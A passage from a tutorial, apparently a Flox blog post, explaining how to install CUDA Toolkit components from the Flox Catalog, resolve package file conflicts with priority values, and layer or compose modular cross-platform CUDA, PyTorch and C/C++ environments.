e.g., **`flox show flox-cuda/cudaPackages.cudatoolkit`**. - The **`flox-cuda`** packages will always be at the top of the results returned for any search term. ### 1.1. Installing the CUDA Toolkit Let’s start by searching for a specific version of the CUDA Toolkit, v12.8: ``` $ flox search cudatoolkit --all | grep Wrapper flox-cuda/cudaPackages.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_11.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_12.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_11_4.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation … flox-cuda/cudaPackages_11_8.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_12_0.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_12_1.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_12_2.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation … flox-cuda/cudaPackages_12_6.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_12_8.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation flox-cuda/cudaPackages_12_9.cudatoolkit Wrapper substituting the deprecated runfile-based CUDA installation ``` _**Note:** Ellipses (**`…`**) in the output show that the search results have been shortened for readability._ We use the CUDA wrapper packages rather than NVIDIA’s runfile installer because the runfile method is non-reproducible and "impure"—i.e., it expects to write to global system paths like **`/usr/local/cuda`**. The wrappers solve this by substituting the runfile installer with a packaging structure that safely and sanely integrates with [Nix](https://nixos.org/guides/how-nix-works/)—the open source software on which Flox is built. They provide access to the same components (compiler, libraries, and tools) while preserving reproducibility, cacheability, and enabling sandboxed builds. Let’s install the **`flox-cuda/cudaPackages_12_8.cudatoolkit`** package: ``` $ flox install flox-cuda/cudaPackages_12_8.cudatoolkit ⚠️ The package 'cudatoolkit' has an unfree license, please verify the licensing terms of use ⚠️ 'cudatoolkit' installed only for the following systems: aarch64-linux, x86_64-linux ``` Now let’s install the NVIDIA CUDA Runtime API Library (CUDART), along with the GNU C Compiler. We’ll do this declaratively, using **`flox edit`** to make changes to the Flox environment’s manifest: ``` [install] cudatoolkit.pkg-path = "flox-cuda/cudaPackages_12_8.cudatoolkit" cudatoolkit.systems = ["aarch64-linux", "x86_64-linux"] # cudatoolkit is available on these systems cuda_cudart.pkg-path = "flox-cuda/cudaPackages.cuda_cudart" cuda_cudart.systems = ["aarch64-linux", "x86_64-linux"] # cuda_cudart is available on these systems cuda_cudart.priority = 2 gcc.pkg-path = "gcc" # nvcc invokes GCC to build ‘hello.cu’ code and link ``` Notice the **`cuda_cudart.priority`** definition? Section **1.3**, below, explores what this is and why it's useful. For now, let’s go ahead and compile a CUDA-specific `Hello World` example: ``` #include // A simple CUDA kernel __global__ void helloFromGPU() { printf("Hello World from GPU thread %d!\n", threadIdx.x); } int main() { printf("Hello World from CPU!\n"); // Launch kernel with 1 block of 5 threads helloFromGPU<<<1, 5>>>(); // Wait for GPU to finish before exiting cudaDeviceSynchronize(); return 0; } ``` Saving this as **`hello.cu`**, activating the Flox environment, and compiling it with **`nvcc`** just works: ``` $ nvcc hello.cu -o hello -Wno-deprecated-gpu-targets # suppresses warnings about deprecated gpu architectures $ ./hello Hello World from CPU! Hello World from GPU thread 0! Hello World from GPU thread 1! Hello World from GPU thread 2! Hello World from GPU thread 3! Hello World from GPU thread 4! ``` The NVIDIA CUDA Toolkit wrappers in the Flox Catalog provide the essential dependencies required to compile and run CUDA programs. Typically, they include just the NVIDIA C Compiler (NVCC) and NVIDIA’s core math libraries. Fear not: _all_ components of the CUDA Toolkit are also available as separate packages in the Flox Catalog. The next section walks through how to search for and install these dependencies, too. ### 1.2. Adding Essential CUDA Dependencies The CUDA Toolkit doesn’t include useful dependencies like CUDART, the [CUDA Deep Neural Network](https://developer.nvidia.com/cudnn) (cuDNN), [CUDA Solver](https://developer.nvidia.com/cusolver) (cuSOLVER), [CUDA Tensor](https://developer.nvidia.com/cutensor) (cuTENSORS), [CUDA Core Compute Libraries](https://nvidia.github.io/cccl/cpp.html) (CCCL), and others. You’ll need to define these separately in your Flox manifest. Let’s start by searching for the **`cuda_cudart`** package, which we teased in the section above. ``` $ flox search cudart --all | grep 12_8 flox-cuda/cudaPackages_12_8.cuda_cudart CUDA Runtime (cudart) ``` As expected, the Flox Catalog has the exact version that is required. Installing it results in a hiccup, however: ``` $ flox install flox-cuda/cudaPackages_12_8.cuda_cudart … manifest> + /nix/store/psy9v2asypgl9ylg8cnzkixc7fv0snj0-coreutils-9.7/bin/cp '--no-preserve=mode' /nix/store/rxaiccd7cvffj163z16fk857wy3jm9bq-default.envrc /nix/store/nv0nl6rdq8jrq0vk30x29d01v5lglxjs-manifest/activate.d/envrc building '/nix/store/gbw99m7xx47b993szqv9rs2zkpxjkyby-environment.drv'... environment> ❌ ERROR: 'cuda_cudart' conflicts with 'cuda-merged'. Both packages provide the file 'LICENSE' environment> environment> Resolve by uninstalling one of the conflicting packages or setting the priority of the preferred package to a value lower than '5' ``` _**Note**: This is a truncated and abridged version of the complete error message._ Oh snap! A dependency conflict—but not an insoluble one. The root issue is that both the **`cudatoolkit`** and **`cuda_cudart`** packages expect to install a `LICENSE` file to the same location in the same path. Two files cannot share the same pathname. This is an impossibility. But Flox has been engineered to deal with situations like this. We walk through how to manage dependency conflicts in the next section. ### 1.3. Nimbly Negotiating CUDA Dependency Conflicts Flox has several switches you can flip to manage dependency conflicts. The first thing you can try is to isolate problem dependencies in their own [package groups](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/). This is _usually_ enough to do the trick: ``` [install] cudatoolkit.pkg-path = "flox-cuda/cudaPackages_12_8.cudatoolkit" cudatoolkit.systems = ["aarch64-linux", "x86_64-linux"] cuda_cudart.pkg-path = "flox-cuda/cudaPackages.cuda_cudart" cuda_cudart.systems = ["aarch64-linux", "x86_64-linux"] cuda_cudart.pkg-group = "cuda-deps" gcc.pkg-path = "gcc" ``` In this case, however, package groups won’t work, because the problem isn’t conflicting libraries, but a pathname conflict. To understand why this happens, it’s useful to know a little bit about how both Flox and Nix work. When Flox and Nix build an environment, they create a directory tree of symbolic links in the environment’s path. This tree looks like the familiar directory structure you’d normally see under **`/usr`** on a Linux or BSD system, with subfolders like **`/bin`**, **`/etc`**, **`/lib`**, **`/share`**, and so on. Each symlink points to the location in the [Nix store path](https://nixos.org/guides/nix-pills/18-nix-store-paths.html) where its corresponding file lives. This allows multiple packages to coexist in one environment. A **symlink collision** happens when two packages contain a file with the same name in the same path. Fixing this is simple enough: just assign one of the two packages [a lower or higher priority value](https://flox.dev/docs/reference/command-reference/manifest.toml/#catalog-descriptors). When Flox evaluates an environment’s manifest, it resolves collisions by symlinking to the package with the lowest priority value. The **`cuda_cudart.priority`** definition in the manifest below shows what this looks like. **Note:** For troubleshooting dependency conflicts, always run **`flox edit`** to make changes declaratively: ``` [install] cudatoolkit.pkg-path = "flox-cuda/cudaPackages_12_8.cudatoolkit" cudatoolkit.systems = ["aarch64-linux", "x86_64-linux"] cuda_cudart.pkg-path = "flox-cuda/cudaPackages.cuda_cudart" cuda_cudart.systems = ["aarch64-linux", "x86_64-linux"] cuda_cudart.priority = 6 # lower priority values take precedence; ‘6’ is higher than default gcc.pkg-path = "gcc" ``` After exiting the editor, Flox’s resolver evaluates the dependency graph to determine if the specified packages can coexist in the same environment; if they can’t, it surfaces an error and prompts you to re-edit the manifest. Packages have a default priority of **`5`**; setting **`cuda_cudart`** to **`priority = 6`** tells Flox to ignore its `LICENSE` file and use the one from the CUDA Toolkit instead. Saving and exiting **flox edit** shows the conflict has been resolved: ``` ✅ Environment successfully updated. ``` The CUDA Toolkit wrapper gives you a solid foundation for CUDA development: you get NVCC, the CUDA runtime, and a spate of core CUDA libraries. You can also install additional CUDA packages—like CUDART, NVIDIA’s CUDA Core Compute Libraries (CCCL), cuDNN, cuTENSOR, and others—if you require them. If, however, you prefer to keep your Flox environment compact, with fewer dependencies and a reduced attack surface, you have the option of installing only the CUDA packages your project requires. For example, you might need NVCC but not NVIDIA’s core math libs, or you might _not_ need NVCC, but _do_ require CUDART, CCCL, cuTENSOR, and other packages. Scoping dependencies this way minimizes environment bloat and reduces the software supply chain risk introduced by shipping unnecessary packages. **Part 2** of this guide walks through how to do this. ## 2. Designing Modular CUDA Environments The CUDA Toolkit wrappers available from the Flox Catalog do not install the complete CUDA Toolkit; rather, they provide the basic dependencies required to compile and run CUDA programs. This packaging choice reflects how Nixpkgs is designed and maintained. By separately installing required binaries (like NVCC) along with optional libraries (like CUDART, CCCL, cuTENSOR, or cuSOLVER), you can create CUDA environments that include _only the dependencies you need_—without installing the complete 8+ GB CUDA Toolkit. This keeps your Flox environments compact and performant. **Part 2** of this guide walks through how to build modular, fit-for-purpose CUDA dev environments, starting with the _sine qua non_ for CUDA dev: NVCC. ``` $ flox search nvcc flox-cuda/cudaPackages.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_11.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_12.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_11_4.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_11_5.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_11_6.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_11_7.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_11_8.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_12_0.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA flox-cuda/cudaPackages_12_1.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA Showing 10 of 25 results. Use `flox search nvcc --all` to see the full list. ``` To search for a specific version, pipe the output of **`flox search`** to grep: ``` $ flox search nvcc --all | grep 12_8 flox-cuda/cudaPackages_12_8.cuda_nvcc CUDA NVCC. By downloading and using the packages you accept the terms and conditions of the CUDA EULA ``` With Flox, you can install packages using either imperative... ``` $ flox install flox-cuda/cudaPackages_12_8.cuda_nvcc ⚠️ The package 'cuda_nvcc' has an unfree license, please verify the licensing terms of use ⚠️ 'cuda_nvcc' installed only for the following systems: aarch64-linux, x86_64-linux ``` ...or declarative methods, i.e., by editing the Flox environment’s manifest. Running **`flox edit`** brings up Flox’s built-in editor. Define CUDA dependencies in the **`[install]`** section, where all packages go. Spoiler alert: CUDART isn't the only CUDA package with conflicting dependencies. Several NVIDIA CUDA dependencies expect to create a `LICENSE` file in the same pathname. The **tl;dr** is that each of these packages will require custom priority values, starting with **`cuda_nvcc`**: ``` [install] cuda_nvcc.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_nvcc" cuda_nvcc.systems = ["aarch64-linux", "x86_64-linux"] cuda_nvcc.priority = 1 # lower priorities take precedence over higher ones ``` A lightweight CUDA dev environment will almost certainly require CUDART. It may also require NVIDIA’s CCCL, which is useful for teams working with [Thrust](https://nvidia.github.io/cccl/thrust/), [CUB](https://docs.nvidia.com/cuda/cub/index.html), or [libcu++](https://nvidia.github.io/cccl/libcudacxx/). Other commonly used libraries are [cuBLAS](https://developer.nvidia.com/cublas), [cuSPARSE](https://developer.nvidia.com/cusparse), and [cuFFT](https://developer.nvidia.com/cufft), along with cuDNN, cuTENSOR, and cuSOLVER. After installing each of these, the Flox environment’s manifest looks like this: ``` [install] cuda_nvcc.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_nvcc" cuda_nvcc.systems = ["aarch64-linux", "x86_64-linux"] cuda_nvcc.priority = 1 # lower priorities take precedence over higher ones cuda_cudart.pkg-path = "flox-cuda/cudaPackages.cuda_cudart" cuda_cudart.systems = ["aarch64-linux", "x86_64-linux"] cuda_cudart.priority = 2 gcc.pkg-path = "gcc" cuda_cccl.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_cccl" cuda_cccl.systems = ["aarch64-linux", "x86_64-linux"] libcublas.pkg-path = "flox-cuda/cudaPackages.libcublas" libcublas.version = "12.8.4.1" libcublas.systems = ["aarch64-linux", "x86_64-linux"] libcufft.pkg-path = "flox-cuda/cudaPackages_12_8.libcufft" libcufft.systems = ["aarch64-linux", "x86_64-linux"] cudnn_9_11.pkg-path = "flox-cuda/cudaPackages_12_8.cudnn_9_11" cudnn_9_11.systems = ["x86_64-linux"] cutensor.pkg-path = "flox-cuda/cudaPackages.cutensor" cutensor.systems = ["aarch64-linux", "x86_64-linux"] libcusparse.pkg-path = "flox-cuda/cudaPackages_12_8.libcusparse" libcusparse.systems = ["aarch64-linux", "x86_64-linux"] gcc.pkg-path = “gcc” ``` It's possible to define all of these packages in a single Flox environment, just like we did with this one. However, Flox’s support for [layering](https://flox.dev/docs/tutorials/layering-multiple-environments/?h=layer) and [composing](https://flox.dev/docs/concepts/composition/?h=composing) environments gives you the ability to create fit-for-purpose CUDA environments that are both lightweight _and_ modular. This way you can construct rich CUDA dev and runtime environments from modular building blocks—without having to maintain a monolithic, one-size-fits-all environment. ### 2.1. Layering Flox-CUDA Environments You can [layer Flox environments](https://flox.dev/blog/layering-and-composing-flox-environments/) on top of each other, so that each environment inherits the capabilities of those below it, while contributing its own. How does this work? Imagine that you’re collaborating on a GPU-accelerated C++ project. You’ve created a base Flox-CUDA environment with **`cuda_nvcc`**, **`cuda_cudart`**, and a few other packages. This is enough to build and run a simple kernel. But what happens when testing in CI surfaces a performance regression that only shows up with distributed workloads? This isn’t something your CUDA base environment was built for, and low-level debugging isn’t part of your day-to-day dev workflow. This is a perfect use case for layering! Just as you created a base Flox-CUDA environment with core dev tools, you (or your platform team) can also define a Flox environment for CUDA debugging tools. If or when you need to use these tools, you can pull this environment from FloxHub and dynamically layer it on top of your base environment. The nuts-and-bolts of layering environments is simple. First activate the base Flox-CUDA environment you use as part of your day-to-day workflow. Then, inside your project repo, run the following command: ``` flox activate -r floxrox/cuda-debugging ``` This command runs a temporary session of a FloxHub environment called **`cuda-debugging`**. It uses a Flox feature called [remote activation](https://flox.dev/docs/tutorials/sharing-environments/?h=remote+activation#directly-activating-a-remote-environment). FloxHub environments are cached locally after the first activation. The activation session is temporary—when you type **`exit`**, the session ends—but the cached environment remains for future use. To update to the latest version, run `flox pull -r floxrox/cuda-debugging`. The **`cuda-debugging`** environment is defined like any other Flox environment: ``` [install] cuda_sanitizer_api.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_sanitizer_api" cuda_sanitizer_api.systems = ["aarch64-linux", "x86_64-linux"] cuda_gdb.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_gdb" cuda_gdb.systems = ["aarch64-linux", "x86_64-linux"] nsight_compute.pkg-path = "flox-cuda/cudaPackages_12_8.nsight_compute" nsight_compute.systems = ["aarch64-linux", "x86_64-linux"] nsight_compute.priority = 2 nsight_systems.pkg-path = "flox-cuda/cudaPackages_12_8.nsight_systems" nsight_systems.systems = ["x86_64-linux"] cuda_cupti.pkg-path = "flox-cuda/cudaPackages_12_8.cuda_cupti" cuda_cupti.systems = ["aarch64-linux", "x86_64-linux"] cuda_cupti.priority = 7 gdb.pkg-path = "gdb" # included for host cpu debugging ``` When you layer environments, your prompt changes to reflect the hierarchy of layers: ``` flox [floxrox/cuda-debugging (remote) floxrox/cuda-base (remote)] $ ``` In the example above, the remote **`cuda-debugging`** environment is layered atop the remote **`cuda-base`** environment. The contents of both environments are available in the layered stack. Here’s test output from **`nvcc`**, which lives in the **`cuda-base`** environment: ``` $ nvcc --version nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2025 NVIDIA Corporation Built on Fri_Feb_21_20:23:50_PST_2025 Cuda compilation tools, release 12.8, V12.8.93 Build cuda_12.8.r12.8/compiler.35583870_0 ``` And here's **`cuda-gdb`**, which lives in **`cuda-debugging`**: ``` $ cuda-gdb NVIDIA (R) cuda-gdb 13.0 Portions Copyright (C) 2007-2025 NVIDIA Corporation Based on GNU gdb 14.2 Copyright (C) 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This CUDA-GDB was configured as "x86_64-pc-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the CUDA-GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word". (cuda-gdb) ``` ### 2.2. Stacking Modular, Layered Flox-CUDA Environments Similarly, you can create full-featured CUDA stacks by layering fit-for-purpose Flox-CUDA environments one on top of another. Say that you’ve created a fit-for-purpose Flox environment for CUDA math libraries. Starting with your CUDA base environment, you could layer your CUDA math environment on top, either by design or on an ad hoc basis—just like you did with the **`cuda-debugging` environment above. ``` [install] libcublas.pkg-path = "flox-cuda/cudaPackages.libcublas" libcublas.version = "12.8.4.1" libcublas.systems = ["aarch64-linux", "x86_64-linux"] libcufft.pkg-path = "flox-cuda/cudaPackages_12_8.libcufft" libcufft.systems = ["aarch64-linux", "x86_64-linux"] libcurand.pkg-path = "flox-cuda/cudaPackages_12_8.libcurand" libcurand.systems = ["aarch64-linux", "x86_64-linux"] libcusolver.pkg-path = "flox-cuda/cudaPackages.libcusolver" libcusolver.systems = ["aarch64-linux", "x86_64-linux"] cutensor.pkg-path = "flox-cuda/cudaPackages.cutensor" cutensor.systems = ["aarch64-linux", "x86_64-linux"] libcusparse.pkg-path = "flox-cuda/cudaPackages_12_8.libcusparse" libcusparse.systems = ["aarch64-linux", "x86_64-linux"] nccl.pkg-path = "flox-cuda/cudaPackages.nccl" nccl.systems = ["aarch64-linux", "x86_64-linux"] ``` You can extend the logic of layering to the language- or toolchain-specific dependencies you use as part of CUDA dev. For example, you could layer a Flox environment for TensorFlow on top of your CUDA dev and CUDA math environments. Your TensorFlow dev environment might define the following essential packages: ``` [install] tensorflow.pkg-path = "flox-cuda/python3Packages.tensorflow" tensorflow.version = "python3.12-tensorflow-gpu-2.19.0" tensorflow.systems = ["x86_64-linux"] transformers.pkg-path = "flox-cuda/python3Packages.transformers" transformers.systems = ["x86_64-linux"] transformers.pkg-group = "python-dev" numpy.pkg-path = "flox-cuda/python3Packages.numpy" numpy.systems = ["aarch64-linux", "x86_64-linux"] scipy.pkg-path = "flox-cuda/python3Packages.scipy" scipy.systems = ["aarch64-linux", "x86_64-linux"] python312Full.pkg-path = "python312Full" pip.pkg-path = "python312Packages.pip" uv.pkg-path = "python312Packages.uv" setuptools.pkg-path = "python312Packages.setuptools" wheel.pkg-path = "python312Packages.wheel" pandas.pkg-path = "python312Packages.pandas" ``` When you layer Flox environments, you don’t need to worry about package groups or priority values. The logic of layering takes care of this for you: if conflicts between binaries, libraries, filenames, or env vars _do_ occur, the packages belonging to the top-most layer of the stack always win. The downside to this is that unless you _intentionally_ design Flox environments with layering in mind, you might get unpredictable results at runtime. If you need guaranteed, reproducible behavior at runtime, composition is the better choice. ### 2.3. Composing Modular Flox-CUDA Environments Layering Flox-CUDA environments can lead to unpredictable results because the order in which environments get activated determines which libraries and environment variables take precedence, so conflicts or overrides only show up when you actually activate and use the layered stack. Alternatively, you can **[compose](https://flox.dev/docs/concepts/composition/?h=compose)** multiple Flox environments to design full-featured development or runtime stacks. Composition surfaces conflicts at creation time, so it’s useful when you want a predictable, reproducible set of CUDA libraries and need a guarantee they’ll coexist. Suppose you want to create a composed Python stack for machine learning (ML). You might need: - Your CUDA base environment with **`nvcc`**, **`cudart`**, **`cccl`**, and other packages; - Your CUDA math and compute environment with **`cudnn_9_11`**, **`libcusolver`**, **`libcublas`**, etc.; - A PyTorch environment with **`torch`**, **`torchvision`**, **`torchaudio`**, **`pytorch-lightning`**, etc.; - A base Python environment, with a Python version, **`pip`**, **`setuptools`**, **`wheel`**, **`uv`**, etc.; - A base environment with C/C++ compilers and related dependencies; - An optional environment with NLP/Transformers packages. You can reuse existing Flox environments by defining them in the **`[include]`** section in the composing environment’s manifest. The composing environment can be either a completely new Flox environment or one of the environments in the bullet points above. For maximal modularity, consider creating a dedicated composing environment. The composing environment’s manifest might look like: ``` version 1 [include] environments = [ { remote = "[floxrox/cuda-base](https://hub.flox.dev/floxrox/cuda-base)" }, { remote = "[floxrox/cuda-math](https://hub.flox.dev/floxrox/cuda-math)" }, { remote = "[floxrox/nlp-cuda](https://hub.flox.dev/floxrox/nlp-cuda)" }, { remote = "[floxrox/python-cuda-ml](https://hub.flox.dev/floxrox/python-cuda-ml)" }, { remote = "[floxrox/c-and-cxx-deps](https://hub.flox.dev/floxrox/c-and-cxx-deps)" }, { remote = "[floxrox/torch-cuda-ml](https://hub.flox.dev/floxrox/torch-cuda-ml/manifest)" } ] ``` That’s it. The composing environment’s manifest defines six included manifests. You can click on the hyperlinks above to see which packages are included with each environment. By splitting a CUDA dev stack into modular environments (**`cuda-base`**, **`cuda-math`**, **`python-cuda-ml`**, etc.), you can: - Simplify maintenance and upgrades. Each environment can be used on its own, so you can update or replace just the CUDA base, CUDA math libs, C/C++ dependencies, or PyTorch without rebuilding. - Reuse many of the same **`[include]`**-ed manifests across several different ML projects instead of duplicating dependencies. For example, you could reuse **`cuda-base`**, **`cuda-math`**, **`python-cuda-ml`**, and **`c-and-cxx-deps`** by composing them with a **`cuda-tensorflow`** environment. - Equip teams to maintain their own pieces while still working together in a shared, managed stack. For instance, the platform team manages **`cuda-base`** and **`cuda-math`**, along with (maybe) **`c-and-cxx-deps`**, the AI or ML engineering team manages **`torch-cuda-ml`**, **`python-cuda-ml`**, and **`nlp-cuda`**. Composing Flox environments makes it fairly straightforward to create modular, cross-platform stacks. The next section walks through what these are and how they work. ### 2.4. Composing Cross-Platform GPU-Accelerated Stacks Using the same tools, it’s simple to create [Flox environments that are portable across platforms and architectures](https://flox.dev/blog/hassle-free-cross-platform-dev-with-flox/). Take the **`torch-cuda-ml`** environment described above (see **Composing Modular, Fit-for-Purpose CUDA Environments**): ``` [install] pytorch-lightning.pkg-path = "flox-cuda/python3Packages.pytorch-lightning" pytorch-lightning.pkg-group = "torch-extras" pytorch-lightning.systems = ["x86_64-linux"] torch.pkg-path = "flox-cuda/python3Packages.torch" torch.systems = ["x86_64-linux", "aarch64-linux"] torch.priority = 1 numpy.pkg-path = "flox-cuda/python3Packages.numpy" numpy.pkg-group = "python-cuda" numpy.systems = ["aarch64-linux", "x86_64-linux"] scipy.pkg-path = "flox-cuda/python3Packages.scipy" scipy.systems = ["aarch64-linux", "x86_64-linux"] scipy.pkg-group = "python-cuda" ``` The function of the **`.systems`** keys is to constrain packages so they’re available _only_ for specific platform and hardware combinations. Flox environments are _cross-platform by default_, so packages that aren’t available for both Linux and macOS (on x86-64 and ARM) _must_ be constrained to their appropriate platform(s) and architecture(s). In the manifest above, each package is available _only_ for x86-64 and ARM Linux. This is because CUDA is unsupported on current macOS versions and hardware. System constraints can be useful when you need to define multiple, platform-specific versions of a package in a single Flox environment. For example, to make the **`torch-cuda-ml`** environment cross-platform, you could: - Install CUDA-accelerated PyTorch on Linux using the **`flox-cuda/python3Packages.torch`** package; - Install CPU-only or Metal/MPS PyTorch on macOS using the **`python313Packages.pytorch`** package. The changed manifest looks like this: ``` [install] ## cuda pytorch dependencies cuda-pytorch.pkg-path = "flox-cuda/python3Packages.torch" cuda-pytorch.pkg-group = "python-cuda" cuda-pytorch.systems = ["x86_64-linux"] cuda-pytorch-lightning.pkg-path = "flox-cuda/python3Packages.pytorch-lightning" cuda-pytorch-lightning.pkg-group = "torch-extras" cuda-pytorch-lightning.systems = ["x86_64-linux"] cuda-numpy.pkg-path = "flox-cuda/python3Packages.numpy" cuda-numpy.pkg-group = "python-cuda" cuda-numpy.systems = ["aarch64-linux", "x86_64-linux"] cuda-scipy.pkg-path = "flox-cuda/python3Packages.scipy" cuda-scipy.systems = ["aarch64-linux", "x86_64-linux"] cuda-scipy.pkg-group = "python-cuda" ## non-cuda pytorch dependencies pytorch.pkg-path = "python313Packages.pytorch" pytorch.priority = 6 pytorch.systems = ["x86_64-darwin", "aarch64-darwin", "aarch64-linux"] pytorch-lightning.pkg-path = "python313Packages.pytorch-lightning" pytorch-lightning.priority = 6 pytorch-lightning.systems = ["x86_64-darwin", "aarch64-darwin", "aarch64-linux"] numpy.pkg-path = "python313Packages.numpy" numpy.priority = 6 numpy.systems = ["x86_64-darwin", "aarch64-darwin", "aarch64-linux"] scipy.pkg-path = "python313Packages.scipy" scipy.priority = 6 scipy.systems = ["x86_64-darwin", "aarch64-darwin", "aarch64-linux"] ``` The result is a single, declarative Flox PyTorch environment that _optimizes for the system it’s running on_. On Linux, Flox’s resolver pulls in CUDA-enabled PyTorch (plus required CUDA packages like **`cuda_nvcc`**, **`cuda_numpy`**, **`cuda_scipy`**, and others). On macOS, the same environment definition instead resolves to CPU-only or Metal/MPS PyTorch. By constraining packages with Flox’s **`[systems]`** field, you can create a single manifest that’s portable across platforms—without insoluble dependency conflicts. The next section walks through how you can add the non-CUDA tools—such as CMake, GCC/Clang, etc.—that the CUDA ecosystem as a whole relies on. ## 3. Beyond CUDA: Toolchain Dependencies and Much, Much More Building with the CUDA Toolkit and other NVIDIA CUDA dependencies, or using frameworks like TensorFlow and PyTorch with CUDA, usually requires C and C++ headers, compilers, and libraries. For example, Section **2.3**, above, referred to a Flox environment for [C/C++ dependencies](https://hub.flox.dev/floxrox/c-and-cxx-deps). The reason for this is that CUDA is an extension of C and C++, which means CUDA code _must_ be compiled and linked with C/C++ toolchains. Dependencies like GCC and CMake provide the compilers and build systems that CUDA applications and frameworks (like PyTorch and TensorFlow) need to build and run correctly. You can get all of these dependencies via the Flox Catalog, which contains more than 215,000 packages, plus half a decade of package history. Here again, it’s simple to define this environment so it’s both modular and portable across Linux and macOS—just by defining platform-specific packages where necessary. A cross-platform manifest for C/C++ dependencies might include these packages: ``` [install] ## linux-specific compilers + tools gcc.pkg-path = "gcc" gcc.pkg-group = "linux-build-deps" gcc.priority = 1 gcc.systems = ["x86_64-linux", "aarch64-linux"] gcc-unwrapped.pkg-path = "gcc-unwrapped" # gives us libstdc++ gcc-unwrapped.pkg-group = "linux-build-deps" gcc-unwrapped.systems = ["x86_64-linux", "aarch64-linux"] ## darwin-specific compilers + tools clang.pkg-path = "clang" clang.pkg-group = "darwin-build-deps" clang.systems = ["x86_64-darwin", "aarch64-darwin"] apple-sdk_15.pkg-path = "apple-sdk_15" apple-sdk_15.systems = ["aarch64-darwin", "x86_64-darwin"] IOKit.pkg-path = "darwin.apple_sdk.frameworks.IOKit" IOKit.systems = ["x86_64-darwin", "aarch64-darwin"] CoreFoundation.pkg-path = "darwin.apple_sdk.frameworks.CoreFoundation" CoreFoundation.priority = 2 CoreFoundation.systems = ["x86_64-darwin", "aarch64-darwin"] ## cuda-specific dependencies backendStdenv.pkg-path = "flox-cuda/cudaPackages.backendStdenv" backendStdenv.pkg-group = "linux-build-deps" backendStdenv.systems = ["x86_64-linux", "aarch64-linux"] ## cross-platform dependencies binutils.pkg-path = "binutils" binutils.pkg-group = "xplatform-build-deps" coreutils.pkg-path = "coreutils" coreutils.pkg-group = "xplatform-build-deps" cmake.pkg-path = "cmake" cmake.pkg-group = "xplatform-build-deps" gnumake.pkg-path = "gnumake" gnumake.pkg-group = "xplatform-build-deps" gnused.pkg-path = "gnused" gnused.pkg-group = "xplatform-build-deps" gawk.pkg-path = "gawk" gawk.pkg-group = "xplatform-build-deps" gdb.pkg-path = "gdb" gdb.pkg-group = "xplatform-build-deps" ## pkgconfig is difficult so it gets its own package group pkgconfig.pkg-path = "pkgconfig" pkgconfig.pkg-group = "packaging-deps" ``` **Note**: One quirk of Nixpkgs is that we need to install both **`gcc`** _and_ **`gcc-unwrapped`** on Linux, because the latter gives us **`libstdc++`**. The two packages conflict with one another, so we assign **gcc-unwrapped** a custom priority value. ### 3.1. How Flox Stacks Up By combining general-purpose and fit-for-purpose Flox environments, you can create rich, full-featured stacks. **Part 3** of this guide walks through a practical example of this in action. The composed manifest shown below includes two CUDA-specific and four cross-platform environments. It composes a cross-platform PyTorch environment that automatically optimizes for its host: CUDA-enabled systems run with GPU acceleration, Apple silicon systems use Metal, and non-GPU systems use CPU. ``` version = 1 [include] environments = [ { remote = "[floxrox/cuda-base](https://hub.flox.dev/floxrox/cuda-base)" }, { remote = "[floxrox/cuda-math](https://hub.flox.dev/floxrox/cuda-math" }, { remote = "[floxrox/xplatform-python-nlp](https://hub.flox.dev/floxrox/xplatform-python-nlp)" }, { remote = "[floxrox/xplatform-c-and-cxx-deps](https://hub.flox.dev/floxrox/xplatform-c-and-cxx-deps" }, { remote = "[floxrox/xplatform-python-ml](https://hub.flox.dev/floxrox/xplatform-python-ml)" }, { remote = "[floxrox/xplatform-pytorch-gpu](https://hub.flox.dev/floxrox/xplatform-pytorch-gpu)" } ] ``` Running **`flox list -r floxrox/xplatform-ml`** shows the packages defined in this environment: ``` $ flox list -r floxrox/xplatform-ml-gpu cuda_cccl: cudaPackages.cuda_cccl (12.8.90) cuda_cudart: cudaPackages.cuda_cudart (12.8.90) cuda_nvcc: cudaPackages.cuda_nvcc (12.8.93) cudnn_9_11: cudaPackages_12_8.cudnn_9_11 (9.11.0.98) cutensor: cudaPackages.cutensor (libcutensor-2.1.0.9) libcublas: cudaPackages.libcublas (12.8.4.1) 